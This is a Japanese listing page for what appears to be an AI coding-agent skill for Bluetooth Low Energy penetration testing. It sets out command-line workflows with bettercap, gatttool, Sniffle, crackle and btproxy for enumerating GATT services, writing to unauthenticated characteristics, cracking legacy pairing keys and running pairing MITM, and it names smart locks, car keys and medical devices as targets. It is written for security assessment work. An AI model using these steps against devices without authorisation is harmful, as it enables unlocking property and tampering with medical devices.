offensive-bluetooth-ble について
セキュリティ評価者向けの Bluetooth Low Energy 攻撃テストガイドです。GATT の列挙、特性へのアクセス、ペアリング分析、スニッフィング、MITM テスト、連携アプリのリバースエンジニアリングを扱います。
主な機能
- 01デバイスの検出と GATT の列挙
- 02未認証での特性アクセスのテスト
- 03ペアリング方式と保護機能の確認
- 04ペアリング通信の取得と分析
- 05連携アプリからのコマンド形式の解析
活用シーン
- 01ロックやウェアラブルの BLE インターフェース評価
- 02ペアリングの MITM リスク確認
- 03ベンダー固有の特性プロトコルの分析
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-bluetooth-bleインストール後、Claude Code で/offensive-bluetooth-bleを入力して読み込まれたか確認します。
詳細
Bluetooth Low Energy(BLE)攻撃
BLE デバイスは、サービス、キャラクタリスティック、ディスクリプターからなる階層である GATT を介して通信します。多くのデバイスでは BLE リンク自体が信頼境界として扱われており、近くにいる任意のデバイスから読み書きできるキャラクタリスティックを通じて、特権操作が公開されています。
クイックワークフロー
- デバイスを検出し、GATT ツリーを列挙します
- すべてのキャラクタリスティックについて、認証なしで読み取り/書き込み/通知ができるかテストします
- ペアリング方式を確認します。Just Works では MITM 保護がありません
- Just Works の場合、ペアリングを MITM してキャプチャ/注入します
- 専用コマンド形式を調べるため、コンパニオンアプリをリバースエンジニアリングします
検出と GATT の列挙
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
GATT サービスでは、SIG 定義サービス(バッテリー、心拍数など)に 16 ビット UUID を、ベンダー定義サービスに 128 ビット UUID を使用します。独自の 128 ビット UUID にはベンダー固有のコマンドが含まれるため、ここが攻撃対象になります。
認証なしで可能なキャラクタリスティックの読み取り/書き込み
読み取り/書き込み/通知のフラグが付いたキャラクタリスティックをすべてテストします。
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
コンシューマー向け BLE デバイスでよく見られる問題:
- ドアロック:
unlockキャラクタリスティックへの任意の書き込みを認証なしで受け付けます - スマート電球:任意のピアから明るさや色を書き込めます
- ウェアラブル:PIN やロック状態を読み取れます
- BLE ビーコン:任意のピアから設定できます(ブランド偽装攻撃)
ペアリング方式の特定
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
| 方式 | セキュリティ | 攻撃 |
|---|---|---|
| Just Works | なし — あらゆる相手を認証します | ペアリング中の MITM は容易です |
| Numeric Comparison | ユーザーが 6 桁のコードを確認します | UI の操作のみ。暗号方式は強固です |
| Passkey Entry | 6 桁のコードを入力または表示します | 一部のペアリング方式では、パスキーをブルートフォースで解読できます |
| Out of Band(OOB) | NFC/QR コードによる交換 | BLE 攻撃者の対象範囲外です |
LE Legacy Pairing では、キャプチャしたペアリング通信から解読可能な TK 導出方式を使用します。LE Secure Connections(Bluetooth 4.2 以降)では ECDH を使用しており、Just Works が強制されていなければ強固です。
ペアリング通信のスニッフィング
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
Just Works を使用した LE Legacy Pairing では、crackle により数秒で LTK を復元できます。LE Secure Connections では、crackle は「強固な鍵で暗号化されており、復元できません」と返します。
ペアリング中のアクティブ MITM
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py
ペアリング方式が Just Works の場合、両側に対する正規のピアになり、GATT 操作をリアルタイムで読み取り/変更できます。
コンパニオンアプリのリバースエンジニアリング
ベンダー定義のキャラクタリスティックについては、形式をアプリから調べられます。
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air values
コンパニオンアプリの詳細な分析は offensive-mobile に引き継ぎます。
特定のデバイスクラス
スマートロック
unlockキャラクタリスティックで、認証なしの書き込みが可能かテストします- ローリングトークンを再利用できるかテストします(ウィンドウ内でキャプチャしてリプレイします)
- ファームウェア内にハードコードされた LTK がないか確認します(チップオフ+バイナリー分析。
offensive-iotを参照)
車(BLE スマートフォンキー)
- リレー攻撃(SDR を搭載した 2 台のリレーで通信範囲を拡張します。Tesla の 2022 年の調査を参照)
- ペアリング状態機械の不備
医療機器
- テレメトリーに認証なしの GATT を使用することが多いため、近接攻撃者として PHI を読み取れます
- リモート設定が可能なものもあります(インスリンポンプ、ペースメーカーなど。開示は慎重に調整してください)
ビーコン(iBeacon、Eddystone)
- デフォルトパスワード(
0000、12345678、ベンダー固有のパスワード)で設定できることがよくあります - ブランドを変更して、追跡の混乱や対抗マーケティングに利用できます
検知に関する考慮事項
- BLE には、Wi-Fi WIDS に相当するネイティブの侵入検知機能がありません
- ベンダーのクラウドが、異常なキャラクタリスティックのパターンを検知することがあります(まれです)
- ペアリング失敗のログはユーザーから確認できます。Just Works のプロンプトが複数回表示されると、不審に思われる可能性があります
エンゲージメント用チートシート
# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"
# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"
# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done
# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>
# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap
# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk
主な参考資料
- Sniffle:github.com/nccgroup/Sniffle
- crackle:github.com/mikeryan/crackle
- bettercap BLE モジュール:bettercap.org
- Bluetooth Core Spec 5.x — GATT/SMP については Volume 3(Host)
- 「Bluetooth Low Energy Hacking」(Cap Gemini、NCC の調査)
- 出典:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md